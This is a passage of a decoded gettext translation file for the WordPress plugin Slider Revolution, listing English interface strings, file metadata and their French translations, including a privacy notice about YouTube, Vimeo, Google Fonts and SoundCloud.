use:Force Overflow VisibleForce RS DB CreationFrame Size can not be Extended. Not enough Space.FromFrom the widgets panel drag the "Revolution Module" widget to the desired sidebar.Full-ScreenFull-WidthFullscreen ActionsFunction Not Available in Demo ModeFunction Only Available for AdminstratorsFutureGalleryGallery URLGap (Border)GeneralGet a Purchase CodeGet access to the latest News from ThemePunch. We promise to never send you Spam!GlobalGlobal LayersGlobal SettingsGlobal Settings not saved/updatedGlobal Settings saved/updatedGlobalsGo to 1st Frame Go to Frame "N"Go to Last FrameGood Afternoon Good Evening Good Morning Google FontsGrid = ModuleGroupGroup URLGroups' PhotosHTMLHeadlinesHide Highlight BoxesHighHigher LevelHome Page OnlyI have a Purchase CodeICONIMAGEINIcon / SVGIf you want to use Slider Revolution on another domain, please purchase another licenseIf you want to use the PHP function "add_revslider" in your code please make sure to activate If you want to use your purchase code on
            another domain, please deregister it first orImageImage is Loading...ImagesImport LayerImport ReportImport file not foundImportedImporting Layers...In Stock OnlyInclude Libraries GlobalyInfinity ScrollInsert scripts in FooterInstagramInstagram SettingsInstagram reports: Content did not match expectedInstagram reports: Content is privateInstagram reports: Parse script errorInstallInstall Add-OnInstall TemplateInstall Template PackageInstalledInstalled VersionInstalling Add-OnInstalling TemplateInstant UpdatesInvalid EmailInvalid Email/Could not connect to the Newsletter serverInvalid IDJump to SlideKeep Auto SizesKeep Breakpoint HeightsKeyframeKeyframe #LAYERSLargeLarge SquareLast FrameLast ModifiedLast SlideLayer ActionsLayer Area SizeLayer LibraryLayer ObjectsLayer OptionsLayer with ActionLayers ImportingLayers VisibleLayoutLeave without SaveLeaving current PageLeftLicense validation issue Occured. Please contact our Support.Limit ExcerptLink ActionsList of Pages to include Revslider Libraries Loaded Google FontsLoadingLoading CodeMirror Library...Loading ConfigurationLoading Content...Loading ErrorLoading Error: Loading Thumbnails...Lock / Unlock SelectedLock/Unlock SelectedLoop TemplateLow ResolutionMODULEManual ImportMax PostsMax WidthMax. Post Size (256M)Max. Res.Max. VisibleMedia ActionsMedia LibraryMediumMedium 640Medium 800Memory Limit (256M)Min HeightMobileModule .zipModule BackgroundModule General OptionsModule NamingModule Position within WrapperModule TemplatesModulesMonospace FontsMultiple SelectionMute MediaNavigation OptionsNavigation could not be deletedNavigation not found, could not add presetNavigation not found, could not delete presetNavigation preset deletedNavigation preset saved/updatedNew Blank ModuleNew FolderNew Module from TemplateNew Version Available. Please UpdateNewsNext / PreviousNext FrameNext MonthNext SlideNo API KEY - Could not fetch flickr photosetsNo Data ReceivedNo Email givenNo Layers SelectedNo ShadowNo Sliders found, Please create a Slider firstNo User URL - Could not fetch flickr photosetsNo data receivedNo file sent.No further source settings needed. Content is created manually.No response on actionNo slides found, please add at least one Slide Template to the choosen language.No slides found, please add some slidesNoneNone of the Settings changed. There is Nothing to SaveNot ActivatedNot Enough space between Frames.Not InstalledNotebookNothing SelectedNumber Of CommentsNumber Of SalesOBJECTOUTObject LibraryObject could not be loadedObjectsOn ScrollOn StageOoppps....Open DocumentOpen Slider ModalOpeningOptional Font Loading URLOriginalOriginal SizeOther FoldersOverlayOverwrite Template ?Own ModulesPACKAGEPage URLPage is reloading...Pages (example: 2,10):Parallax is now generally EnabledParent LevelPastPastePause SliderPer PagePermissionPhotosetPick an ItemPlace the shortcode on the page or post where you want to show this modal.Place the shortcode on the page or post where you want to show this module.Play SlidePlaylistPlease register your application with Twitter
            to get the right valuesPlease register your Website app with Facebook
            to get the right valuesPlease Wait a MomentPlease Wait a momentPlease activate Slider RevolutionPlease add at least one Layer.Please follow this link to edit the Slider:Please select an Addon to start with.Please select the correct zip file, checksum failed!Plugin UpdatesPlugin deregisteredPlugin is not RegisteredPlugin not activatedPlugin successfully activatedPopularPopular PostsPositionPostPost IDPost SelectionPost Types:Post-BasedPostsPreparing Data...Preset could not be saved/values are the samePreset handle already exists, please choose a different namePreset not foundPreset not found in default navigationsPreviewPrevious FramePrevious SlideProcessing Import ofProductProduct CategoriesProduct VariationPurchase Code already registered!Purchase Code could not be validatedPurchase Code is invalidPurchase Code was locked, please contact the ThemePunch support!Quick StyleQuick Style ContentQuick Style HeadlineRandomRe-Download OnlineReTweetsRead here how to receive your Flickr API keyRecentRecent PostsRedirecting to Overview PageRegister Purchase CodeRegister Slider Revolution
            to Unlock Premium FeaturesRegister this CodeRegister to UnlockRegister to Unlock all FeaturesRegister to unlock AddOnsRegister to unlock LibraryRegister to unlock Premium FeaturesRegister to unlock SupportRegister to unlock TemplatesRegister to unlock UpdatesRegister to unlock all Premium FeaturesRegisteredRegular PriceRelatedRelease to Upload fileReload PageRenameRepliesRequirementsResetRespect RatioResponsivityRevolution Slider Error:RightRootRoot LevelRotationRowSKUSVGSVG'sSale PriceSans-Serif FontsSaveSave & ReloadSave ConfigurationSave Current TemplateSave Global SettingsSave your project & reload the page or cancelSavedSaving SlideScaleSceneScroll Based Timeline is now generally EnabledScroll To IDScroll below SliderSearchSearch Icons...Search Modules...SelectSelect AlbumSelect PlaylistSelect a LayerSerif FontsSet All VisibleSet a Slide Background Image to use this featureSetup NotesShadowShadow TypeShapeShortcodeShortcode GeneratorShortcode could not be parsed.Shortcode parsing successfull. Items can be found in step 3ShowShow AllShow Highlight BoxesShow all ModulesShow/Hide SelectedSign UpSignup to our NewsletterSimple LinkSimulate ClickSingle SelectSizingSlide ActionsSlide From TemplateSlide IDSlide OptionsSlide SavedSlide could not be duplicatedSlide duplication failedSlide has no LayersSlide not foundSlide not found in the main slides of the slider. Maybe itSliderSlider DeletedSlider Import FailedSlider LayoutSlider Moved to FolderSlider RevolutionSlider Revolution AddonsSlider Revolution Plugin updated Failure:Slider Revolution Plugin updated Successfully toSlider Revolution Plugin updated Successfully.Slider Revolution PreviewSlider Revolution Shortcode CreatorSlider Revolution VersionSlider Revolution database structure was updatedSlider Revolution encountered the following error: Slider SettingsSlider as ModalSlider could not be loadedSlider not foundSlidesSlides (<25)Slides (<500)Slides:SlugSmallSmall 320Some AddOns have new versions availableSome Layers are Locked and/or Invisible.
            Change Status in Timeline.Some Settings in Slider Source may not complete.
            Please Complete All Settings in Slider Sources.Sorry, this Social Stream cannot be displayed.Sort DirectionSort Posts By:Sort Prod. BySort by CreationSort by TitleSorting & LimitationsSorting & SettingsSourceSource must be from StreamSource:Specific PostSpecific PostsSpinnerSpinner ColorSpinner SettingsSquareStandardStandard Module EmbeddingStandard ResolutionStart MediaStay in EdiorStock QuantityStop MediaStretch SlidesSuccess! Please check your E-Mails to finish the subscriptionSuccessfully fetched Facebook albumsSuccessfully fetched YouTube playlistsSuccessfully fetched flickr photosetsSupportSytem RequirementsTabletTagsTags UpdatedTemplate & Object LibraryTemplate Slider Import FailedTemplate Slider Installation FailedTextText TweetsThe Current Size is set to "Auto Size". Do you want to continue with Custom Size?The Current Size is set to calculate the Layer grid sizes Automatically.
            Do you want to continue with Custom Sizes or do you want to keep the Automatically generated sizes ?The Purchase Code needs to be set!The WPML plugin is not activatedThe changes you made require a page reload!The changes you made will be lost!The following AddOns require an update:ThemePunch ServerThis MonthThis Source Type must be from posts.This action can not be undone !!This can be Undone only within the Current session.ThumbnailTimeLineTitleTitle DescendingTitle updatedToTo AdminTo Editor, AdminTo Use it as Modal on pages and posts editor insert the Shortcode:To add the slider only to single Pages, use:To add the slider only to the homepage, use:TodayToggle "N/M" FramesToggle 1st / Last FrameToggle ClassToggle Document Body Class on Open and Close of the Modal.Toggle FullscreenToggle MediaToggle Mute All MediaToggle Mute MediaToggle SliderTomorrowTopTriggered ByTwitterTwitter @Twitter SettingsTypeTypesTypes & CategoriesUnlock AllUnmute MediaUnregisteredUnsortedUpdate AllUpdate HistoryUpdate LaterUpdate ListUpdate NowUpdate PluginUpdatesUpdates, New Products, SpotlightsUpdatingUpdating ListsUpdating Plugin FailedUpdating Plugin...Updating the Plugin may take a few moments.Upload Max. Filesize (256M)Upload folder writableUse CoverUse Custom SizesUse ImageUse LineBreaks only in ColumnsUser Name:User PhotosetUser Public PhotosUser URL:Using this data is only allowed with a valid licence of the jQuery Slider Revolution Plugin, which can be found at CodeCanyon: http://codecanyon.net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunchVIDEOVideoVideo cover could not be loadedVideo in Active SlideVideosView all posts in %sVimeoVisit PageWAITWarningWelcome to Slider Revolution 6What should happen Next?Whats New?Where do you want to move the Inherited Layers?WooCommerceWordPress LibraryWrapper Max HeightWrong RequestWrong category formatWrong export slider file format! Please make sure that the uploaded file is either a zip file with a correct slider_export.txt in the root of it or an valid slider_export.txt file.Wrong request!Yes, Delete All Slider(s)Yes, Delete SlideYes, Delete SliderYes, Export SliderYou are running Slider Revolution YouTubeYouTube SettingsYoutubeand/or add the current page to the as HTML Documentby Containerby PX or %center bottomcenter centercenter topcoma separated list | ex: 23,24,25could not find correct Slide to copy, please try again.enter-a-module-namefromi.e. 1200ie. http://fonts.useso.com/css?family for chinese Environmentin the "Global Settings" of Slider Revolution.jQuery Triggeredleft bottomleft centerleft topnoneon Actionorright bottomright centerright topslider_export.txt does not exist!toxxxx xxxx xxxx xxxxProject-Id-Version: Slider Revolution Report-Msgid-Bugs-To: POT-Revision-Date: Tue Aug 04 2015 14:53:44 GMT+0200 (CEST) PO-Revision-Date: 2019-10-28 11:51+0100 Last-Translator: admin Language-Team: French (France) Language: fr_FR Plural-Forms: nplurals=2; plural=n > 1; MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Poedit-SourceCharset: UTF-8 X-Poedit-Basepath: . X-Poedit-KeywordsList: _:1;gettext:1;dgettext:2;ngettext:1,2;dngettext:2,3;__:1;_e:1;_c:1;_n:1,2;_n_noop:1,2;_nc:1,2;__ngettext:1,2;__ngettext_noop:1,2;_x:1,2c;_ex:1,2c;_nx:1,2,4c;_nx_noop:1,2,3c;_n_js:1,2;_nx_js:1,2,3c;esc_attr__:1;esc_html__:1;esc_attr_e:1;esc_html_e:1;esc_attr_x:1,2c;esc_html_x:1,2c;comments_number_link:2,3;t:1;st:1;trans:1;transChoice:1,2 X-Loco-Target-Locale: en_US X-Generator: Poedit 2.2.4 X-Loco-Version: 2.3.0; wp-5.2.3 X-Poedit-SearchPath-0: .. introuvable! doit être au format numérique ne doit pas être vide"Inclure globalement les bibliothèques RevSlider" l'option "Pages à inclure dans les bibliothèques RevSlider" © Informations sur le droit d'auteur et la licence<a> Lien étiquette--- Choisissez un Slider ---1 code d'achat par site Web1 code d'achat par site Web!Assistance individuellePremier cadre2 x 2 noir2 x 2 blanc3 x 3 noir3 x 3 blanc

            Si vous utilisez des polices Google Web (par défaut) ou lisez des vidéos ou des fichiers audio via YouTube ou Vimeo dans Slider Revolution, nous vous recommandons d’ajouter le texte correspondant dans votre police de confidentialité :

            YouTube

            Notre site Web utilise des plug-ins provenant de YouTube, service exploité par Google. L’exploitant des pages est YouTube LLC, 901 Cherry Ave., San Bruno, CA 94066, États-Unis.

            Si vous visitez l’une de nos pages contenant un plugin YouTube, une connexion aux serveurs YouTube est établie. Le serveur YouTube est alors informé des pages que vous avez visitées sur notre site.

            Si vous êtes connecté à votre compte YouTube, YouTube vous permet d'associer votre historique de navigation directement à votre profil personnel. Vous pouvez désactiver cette fonctionnalité en vous déconnectant de votre compte YouTube.

            YouTube est utilisé pour rendre notre site Web attractif. Cela constitue un intérêt justifié d’après l'article Art. 6 (1) (f) DSGVO.

            Pour plus d'informations sur le traitement des données utilisateur, consultez la politique de protection des données de YouTube ici https://www.google.de/intl/de/policies/privacy.

            Vimeo

            Notre site Web utilise des fonctionnalités fournies par le portail vidéo Vimeo. Ce service est fourni par Vimeo Inc., 555 West 18th Street, New York, New York 10011, États-Unis.

            Si vous visitez l'une de nos pages utilisant un plugin Vimeo, une connexion aux serveurs Vimeo est établie. Le serveur Vimeo est alors informé des pages que vous avez visitées sur notre site. De plus, Vimeo recevra votre adresse IP. Ceci s'applique également si vous n'êtes pas connecté à Vimeo lorsque vous visitez notre plugin ou si vous n'avez pas de compte Vimeo. Les informations sont transmises à un serveur Vimeo aux États-Unis, où elles sont stockées.

            Si vous êtes connecté à votre compte Vimeo, Vimeo vous permet d'associer votre historique de navigation directement à votre profil personnel. Vous pouvez désactiver cette fonctionnalité en vous déconnectant de votre compte Vimeo.

            Pour plus d'informations sur la gestion des données utilisateur, consultez la politique de confidentialité de Vimeo ici https://vimeo.com/privacy.

            Polices Web de Google

            Pour une représentation uniforme des polices, cette page utilise des polices Web fournies par Google. Lorsque vous ouvrez une page, votre navigateur charge les polices Web requises dans le cache de votre navigateur afin d'afficher correctement les textes et les polices.

            Pour ce faire, votre navigateur doit établir une connexion directe avec les serveurs Google. Google est ainsi averti que notre page Web a été consultée via votre adresse IP. L'utilisation des polices Web de Google est effectuée dans l'intérêt d'une présentation uniforme et attrayante de notre plugin. Cela constitue un intérêt justifié d’après l'article Art. 6 (1) (f) DSGVO.

            Si votre navigateur ne prend pas en charge les polices Web, votre ordinateur utilise une police standard.

            De plus amples informations sur la gestion des données utilisateur sont disponibles icihttps://developers.google.com/fonts/faqainsi que dans les règles de confidentialité de Google icihttps://www.google.com/policies/privacy/.

            SoundCloud

            Nos pages peuvent utiliser des plug-ins du réseau social SoundCloud (SoundCloud Limited, Berners House, 47-48 Berners Street, Londres W1T 3NF, UK). Les plugins SoundCloud sont reconnaissables au logo SoundCloud sur notre site.

            Lorsque vous visitez notre site, une connexion directe entre votre navigateur et le serveur SoundCloud est établie via le plugin. SoundCloud sait alors que vous avez visité notre site depuis votre adresse IP. Si vous cliquez sur les boutons “J'aime” ou “Partager” pendant que vous êtes connecté à votre compte SoundCloud, vous pouvez associer le contenu de nos pages à votre profil SoundCloud. Cela signifie que SoundCloud peut associer des visites sur nos pages avec votre compte utilisateur. Nous aimerions souligner que, en tant que fournisseur de ces pages, nous n’avons aucune connaissance du contenu des données transmises ni de la manière dont elles seront utilisées par SoundCloud. Pour plus d'informations sur la politique de confidentialité de SoundCloud, rendez-vous à l'adresse https://soundcloud.com/pages/privacy.

            Si vous ne souhaitez pas que SoundCloud associe votre visite sur notre site à votre compte SoundCloud, déconnectez-vous de votre compte SoundCloud.

            Un Slider avec le nom fourni existe déjàUne nouvelle version de Slider Revolution est disponible.Clé APIIdentifiant AppliSecret de l'appliJeton d'accèsAction nécessaireActiver l'extensionActiver l'extension GlobaleActiver la licenceActivez le Slider Revolution pour avantages Premium (pour les mises à jour en direct par exemple) .Activez afin de mettre à jourActivéActivation de l'extensionActivationAjouter une action à Ajouter un dossierAjouter une LayerAjouter des SlidesAjouter le Slider comme ModalAjouter à la sélectionExtensionExtensionsL'extension n'a pas pu être activéeImpossible de désactiver l'extensionL'extension désactivéeExtensionsExtension obsolète. Merci de la mettre à jourUne extension nécessite votre attentionAjout d'un nouveau module vierge...Extension requiseExtensionsAvancéActions avancéesIntégration module d'avancéeParmètres avancésAlbumPseudonymeAlignerTous les évènementsToutes les languesQuantité de SlidesUne erreur s'est produite lors de l'importationAnim deAnim àAnimer deAnimationModèle d'animationL'animation n'a pas pu être sauvegardéAnimation suppriméeAnimation sauvegardéeÊtes-vous sûr de vouloir continuer?Êtes-vous sûr de vouloir supprimer Êtes-vous sûr de vouloir supprimer la diapositive sélectionnée:Êtes-vous sûr de vouloir exporter En tant que modalAscendantAudioLa bibliothèque Audio Wave est en cours de chargement...AuteurAuteur, éditeur, administrateurAutoVersion disponibleAP & EspaceCouleur APImage APRetourRetour à la présentationVidéo de fondRequête incorrecteLe jeton porteur est valide, merci de vérifier votre requêteComportementPage vierge crééeUne page vierge a été créée :Slide viergeClasse du corpsBordure, superposition et ombreBasLargeur du navigateurConstruction des boîtes de sélectionSlide en masseBoutonBoutonsCache (sec)Cache (sec) :RappelerImpossible de se connecter aux serveurs ThemePunch, veuillez vérifier les paramètres de votre serveur WebImpossible de créer un fichier zip: Impossible de supprimer le préréglage par défaut des navigations par défautJeton porteur introuvable, merci de vérifier vos informationsImpossible de modifier un préréglage par défaut des navigations par défautImpossible de modifier le dossier de téléchargement de WordPress, veuillez modifier les autorisations et réessayer!Impossible d'inscrire le fichier dans le dossier de téléchargement de WordPress, veuillez modifier les autorisations et réessayer!AnnulerAnnuler et recharger plus tardCarrouselCarrouselDisposition CarrouselCatégories et étiquettesCatégories :CentreLes modifications que vous avez apportées peuvent ne pas être sauvegardées.Changement de la taille de l'écranChaineIdentifiant de la chaineVérifier les exigencesVérifier les mises à jourChoisissez l'imageChoisissez le Revolution SliderChoisissez un modèle de SlideChoisissez le SliderChoisissez la vidéoAlbums supprimésSéries de photos suppriméesCliquez pour choisirFermerFerme le modal SliderConnectez-vous avec ThemePunchLa connexion au serveur de mise à jour a échouéSecret consommateurClé consommateurContenuCopierCopier le code intégréCopier le ShortcodeImpossible de créer le SlideImpossible de créer le SliderImpossible de récupérer les albums FacebookImpossible de récupérer les listes de lecture YouTubeImpossible de récupérer les séries de photos flickrCouleur de couvertureCréer une page viergeCréation ascendanteCréditsNiveau actuelPost actuelPersonnaliserOrdre personnaliséL'option taille personnalisée est actuellement désactivéeDateTitre du Modal de décisionDiminuer la hauteur du moduleDéfautLargeur du contenu bureau par défautLargeur du contenu mobile par défautLargeur du contenu carnet par défautLargeur du contenu tablette par défautDéfautsReporter le chargement de JavaScriptSupprimerSupprimer tous les Sliders et dossiers inclus dans Supprimer le SlideSupprimer le SliderSupprimer le modèle?Suppression du SliderEchec de la suppressionAnnuler l'enregistrement de ce codeLa désenregistration a échouée!DescendantBureauDésactiver l'extensionDésactiver l'extension GlobaleDésactivéDésactivation de l'extensionSupprimer les messagesAfficher une certain série de photos d'un utilisateurAfficher une galerieAfficher les photos d'un groupeAfficher les photos publiques d'un utilisateurAffiche un module Slider Revolution sur la pageFais-leSouhaitez-vous démarrer le processus de mise à jour?DocumentsTerminéNe le fais pasNe pas forcer la pleine largeurLe téléchargement du fichier Zip peut prendre quelques instants.Glisser & Déposer le fichier d'importationFaites glisser pour sélectionnerDribbbleDupliquerLa duplication a échouéVitesse facileAssouplissementModifier la pageL'éditeur est en cours de chargement…EffetsElémentsIntégrerBouche-trou videAutoriser l'extensionAutoriser l'extension GlobaleActiver / désactiver l'extension du moduleActivéAutorisation de l'extensionSaisissez le secret d'accèsSaisissez le jeton d'accèsSaisissez la clé APISaisissez la clé consommateurSpécifiez la .class or #id du conteneurSpécifiez une URLSaisissez l'URL de la page FacebookPasser en mode plein écranSaisissez l'URL de la galerieSaisissez l'URL du groupeSaisissez le nom du préréglage à enregistrer ou à supprimerSpécifiez le code d'achatSpécifiez le secretSaisissez votre nom TwitterSaisissez votre nom d'utilisateurSaisissez l'URL de l'utilisateurSaisissez l'Identifiant de la chaîne YouTubeSpécifiez un nom de moduleSaisissez l'identifiant de l'appliSaisissez le secret de l'appliSaisissez votre clé ApiSpécifiez votre EmailErreur lors du téléchargement des LayersErreur lors du téléchargement des données des LayersErreur lors du téléchargement de l'objetDate de fin de l'événementDate de début de l'événementExemple 2, page d'accueil, 5Limite de taille de fichier dépassée.Quitter le mode plein écranExporterExporter le SliderFAQDOSSIERPOLICEParamètres FacebookFacebookFonduLe Slider n'a pas pu être déplacé dans le dossierÉchec de la mise à jour des étiquettesImpossible de mettre à jour le titreLe favori a été modifiéFavorisImages populairesPopulaire seulementProduits populairesRécupérer parFichier importé avec succèsLe défilement avec effet filtre est maintenant activé partoutFiltresTrouver mon codePremier SlideRésoudre les problèmes du tableau RSFixé en hautFlickrParamètres FlickrDossierÉchec de la création du dossierDossier suppriméÉchec de la suppression du dossierIcônes de policesPour l'éditeur de pages et de posts , veuillez insérer le Shortcode :Pour le thème html , utilisez :Forcer le débordement visibleForcer la création de RS DBLa taille du cadre ne peut pas être augmentée. Pas assez d'espace.DeDepuis le panneau widgets , déplacez le widget "Module Revolution" dans la barre latérale souhaitée.Plein écranPleine largeurActions plein écranFonction non disponible pour en mode de démonstrationFonction seulement disponible pour les AdministrateursFuturGallerieURL de la galerieEcart (bordure)GéneralObtenir un code d'achatRecevez les dernières nouvelles de ThemePunch. Nous promettons de ne jamais vous envoyer de spam!GlobalLayer GlobaleParamètres générauxParamètres globaux non enregistrés / mis à jourParamètres globaux enregistrés / mis à jourGlobauxAller au premier cadre Aller au cadre "N"Aller au dernier cadreBonjour Bonsoir Bonjour Polices GoogleGrille = ModuleGroupeURL du groupePhotos du groupeHTMLTitresMasquer l'option surlignageHauteNiveau supérieurPage d'accueil seulementJ'ai déjà un code d'achatICÔNEIMAGEINIcône / SVGSi vous souhaitez utiliser Slider Revolution sur un autre domaine, veuillez acheter une autre licence Si vous souhaitez utiliser la fonction PHP "add_revslider" dans votre code, assurez-vous d'activer Si vous souhaitez utiliser votre code d'achat sur
            un autre domaine, veuillez le désenregistrer d'abord ouImageL'image est en cours de chargement...ImagesImporter LayerRapport d'importationFichier d'importation introuvableImportéImportation des Layers...En stock seulementInclure les bibliothèques partoutDéfilement infiniInsérer les scripts dans le pied de pageInstagramParamètres InstagramRapports Instagram: le contenu ne correspond pas à celui attenduRapports Instagram: le contenu est privéRapports Instagram: erreur du script d'analyseInstallerInstaller l'extensionInstaller modèleInstaller le paquet modèlesInstalléVersion installéeInstallation de l'extensionInstallation du modèleMises à jour instantanéesEmail invalideEmail invalide / Impossible de se connecter au serveur des newslettersIdentifiant invalideAller au SlideConserver les tailles automatiquesGardez les hauteurs du point d'arrêtKeyframeKeyframe #LAYERSGrandGrand CarréDernier cadreDernière modificationDernier SlideActions LayerTaille de la LayerBibliothèque LayerObjets des LayersOptions de la LayerLayer contenant une actionImportation de LayersLayers visiblesDispositionQuitter sans sauvegarderSortie de la page actuelleGaucheUn problème de validation de licence est survenu. Merci de contacter notre assistance.Limiter l'extraitActions de lienListe des pages où inclure les bibliothèques Revslider Polices Google chargéesChargementChargement de la bibliothèque CodeMirror...Chargement de la configurationChargement du contenu...Erreur de chargementErreur de chargement : Vignettes en cours de chargement…Verrouiller / Déverrouiller la sélectionVerrouiller / Déverrouiller la sélectionModèle de boucleRésolution basseMODULEImportation manuellePosts maximumLargeur maximaleTaille maximal d'un post (256M)Résolution max.Visibilité maximaleActions fichiers multimédiaMédiathèqueMoyenMoyen 640Moyen 800Limite mémoire (256M)Hauteur minMobileModule .zipArrière-plan du moduleOptions générales du moduleNommer les modulesPosition du module dans le WrapperModèles de moduleModulesPolices MonospacesSélection multipleMettre le media en silencieuxOptions de navigationLa navigation n'a pas pu être suppriméeNavigation introuvable, impossible d'ajouter un préréglageNavigation introuvable, impossible de supprimer le préréglageLe préréglage de navigation a été suppriméPréréglage de navigation enregistré / mis à jourNouveau module viergeNouveau dossierNouveau module à partir d'un modèleNouvelle version disponible. Merci de mettre à jourNouvellesSuivant / PrécédentCadre suivantLe mois prochainProchain SlideAucune clé API - Impossible d'extraire la série de photos flickrAucune donnée recueAucun email renseignéAucune Layer sélectionnéePas d'ombreAucun Slider trouvé, commencez d'abord par créer un SliderAucune URL utilisateur - Impossible d'extraire la série de photos flickrAucune donnée reçueAucun fichier envoyé.Aucun autre paramètre source requis. Le contenu est créé manuellement.Pas de réponse reçueAucune Slide trouvée, merci d'ajouter au moins un modèle de Slide à la langue choisie.Aucune Slide trouvée, merci d'en ajouter uneRienAucun des paramètres n'a changé. Il n'y a rien à sauvegarderNon activéPas assez d'espace entre les cadres.Non installéCarnetAucune sélectionNombre de commentairesNombres de ventesOBJETOUTBibliothèque d'objetsL'objet n'a pas pu être chargéObjetsSelon défilementSur scèneOuuuups…Ouvrir le documentOuvrir le modal SliderOuvertureURL de chargement de police facultatifOriginalTaille originaleAutres dossiersSuperpositionÉcraser le modèle?Propres ModulesPAQUETURL de la pageLa page est en cours de rechargement...Pages (exemple: 2,10):La parallaxe est maintenant activée partoutNiveau parentPasséCollerPause du SliderPar PageAutorisationSérie de photosSélectionnez un élémentPlacez le Shortcode sur la page ou le post où vous souhaitez afficher ce modal.Placez le Shortcode sur la page ou le post où vous souhaitez afficher ce module.Lecture du SliderListe de lectureMercid'enregistrervotre demande avec Twitter
            afin d'obtenir les bonnes valeursMercid'enregistrervotre appli site Web avec Facebook
            afin d'obtenir les bonnes valeursMerci de patientezMerci de patienterMerci d'activer Slider RevolutionVeuillez ajouter au moins une Layer.Veuillez suivre ce lin pour modifier le Slider :Veuillez sélectionner une extension pour commencer.Veuillez sélectionner le fichier zip correct, la somme de contrôle a échoué!Mises à Jour PluginPlugin désenregistrerLe plugin n'est pas enregistréPlugin non activéPlugin activé avec succèsPopulairePosts populairesPositionPostIdentifiant postSélection postTypes de post :Selon les postsPostsPréparation des données...Le préréglage n'a pas pu être sauvegardé / les valeurs sont identiquesCe nom de préréglage existe déjà, veuillez choisir un nom différentPréréglage introuvablePréréglage introuvable dans les navigations par défautPrévisualiserCadre précédentSlide précédentTraitement de l'importation deProduitCatégories produitVariation ProduitCode d'achat déjà enregistré!Le code d'achat n'a pas pu être validéLe code d'achat est invalideLe code d'achat a était verrouillé, merci de contacter l'assistance ThemePunch!Style rapideContenu avec style rapideTitre avec style rapideAléatoireRe-télécharger sur internetReTweetsLisez ici pour savoir comment recevoir votre clé d'API FlickrRécentPosts récentsRedirection vers la page de présentationEnregistrer le code d'achatEnregistrer Slider Revolution
            pour déverrouiller les fonctionnalités PremiumEnregistrer ce codeInscrivez-vous pour déverrouillerInscrivez-vous pour déverrouiller toutes les fonctionnalitésInscrivez-vous pour déverrouiller les ExtensionsInscrivez-vous pour déverrouiller la BibliothèqueInscrivez-vous pour déverrouiller les fonctionnalités PremiumInscrivez-vous pour déverrouiller l'AssistanceInscrivez-vous pour déverrouiller les ModèlesInscrivez-vous pour déverrouiller les Mises à jourInscrivez-vous pour déverrouiller toutes les fonctionnalités PremiumInscritPrix normalApparentéLâchez pour télécharger le fichierRecharger la pageRenommerRéponsesExigencesRéinitialiserRespecter le ratioSensiblitéErreur de Slider Revolution :DroiteRacineNiveau racineRotationRangéeUGS (Unité de Gestion des Stocks)SVGSVGPrix promotionnelPolices Sans-SerifSauvegarderSauvegarder et rechargerEnregistrer la configurationSauvegarder le modèle actuelSauvegarder les paramètres générauxSauvegarder votre projet et rechargez la page ou annulezSauvegardéSauvegarde du SlideÉchelleScèneLa chronologie avec défilement est maintenant activée partoutFaites défiler jusqu'à l'identifiantFaites défiler le SliderRechercherRecherche d'icônes...Rechercher les modules...SélectionnerSélectionner un albumSélectionnez la liste de lectureSélectionnez une LayerPolices SerifTout mettre en visibleDéfinir une image de fond du Slider pour utiliser cette fonctionnalitéNotes d'installationOmbreType d'ombreFormeShortcodeGénérateur de ShortcodeLe Shortcode n'a pas pu être analysé.Analyse de Shortcode réussie. Vous trouverez les éléments à l'étape 3MontrerMontrer toutMontrer l'option surlignageAfficher tous les modulesMontrer/Masquer l'élément sélectionnéS'inscrireAbonnez-vous à notre lettre d'informationLien simpleSimuler un clicSélection uniqueDimensionnementActions SlideSlide à partir d'un modèleIdentifiant SlideOptions du SlideSlide sauvegardéLa Sllide n'a pas pu être dupliquéeLa duplication du Slide a échouéLe Slide n'a aucune LayerSlide introuvableSlide non trouvée dans les Slides principales du Slider. Peut-être queSliderSlider suppriméÉchec de l'importation du SliderDisposition de la LayerLe Slider a bien été déplacé dans le dossierSlider RevolutionExtensions Slider RevolutionLe plugin Slider Revolution n'a pas pu être mis à jour :Le plugin Slider Revolution a été mis à jour avec succès versLe plugin Slider Revolution a été mis à jour avec succès.Aperçu de Slider RevolutionCréateur Slider Revolution de ShortcodeVersion de Slider RevolutionLa structure de la base de données Slider Revolution a été mise à jourSlider Revolution a rencontré l'erreur suivante : Paramètres SliderSlider en tant que modalLe Slider n'a pas pu être chargéSlider introuvableSlidesSlides (<25)Slides (<500)Slides :SlugPetitPetit 320Certaines extensions ont de nouvelles versions disponiblesCertaines Layers sont verrouillées et / ou invisibles .
            Merci de modifier le statut dans la chronologie.Il est possible que certains paramètres du Slider source ne soient pas complets .
            Merci dez renseigner tous les paramètres des Sliders sources.Désolé, ce Social Stream ne peut pas être affiché.Direction de triTrier les posts par :Trier produit parTrier par créationTrier par titreTri et restrictionsTri et paramètresSourceLa source doit provenir de StreamSource :Post spécifiquePosts spécifiquesSpinnerCouleur SpinnerRéglages SpinnerCarréStandardIntégration de module standardRésolution standardLancer le médiaRester dans l'éditeurQuantité en stockArrêter le médiaEtirer SlidesSuccès! Veuillez vérifier vos emails pour compléter votre abonnementRécupération des albums Facebook faite avec succèsListes de lecture YouTube récupérées avec succèsSéries de photos flickr récupérées avec succèsAssistanceExigences systèmeTabletteEtiquettesEtiquettes mises à jourBibliothèque des modèles et objetsÉchec de l'importation du modèle de SliderÉchec de l'installation du modèle de SliderTexteTweets SMSLa taille actuelle est réglée sur "Taille Automatique". Souhaitez-vous continuer avec la taille personnalisée?La taille actuelle est définie pour calculer automatiquement les tailles de la grille de la Layer.
            Souhaitez-vous quand même continuer avec ces tailles personnalisées ou souhaitez-vous conserver les tailles générées automatiquement?Le code d'achat doit être défini!Le plugin WPML n'est pas actitéLes modifications que vous avez apportées nécessitent un rechargement de la page!Les modifications que vous avez apportées seront perdues!Les extensions suivantes nécessitent une mise à jour :Serveur ThemePunchCe mois-ciLe type de la source doit venir de posts.Cette action ne peut pas être annulée !!Ceci peut être annulé uniquement durant la session en cours.VignetteChronologieTitreTitre décroissantTitre mis à jourÀÀ l'administrateurÀ l'éditeur, l'administrateurPour l'utiliser comme modal dans l'éditeur de pages et de posts , veuillez insérer le Shortcode :Pour uniquement ajouter le Slider à des pages individuelles , utilisez :Pour ajouter le Slider à la page d'accueil uniquement, utilisez :Aujourd'huiBasculer les cadres "N / M"Basculer le premier / dernier cadreBasculer la classeBasculer la classe de corps du document à l'ouverture et à la fermeture du modal.Passer en plein écranBasculer le médiaPasser tous les media en silencieuxPasser le media en 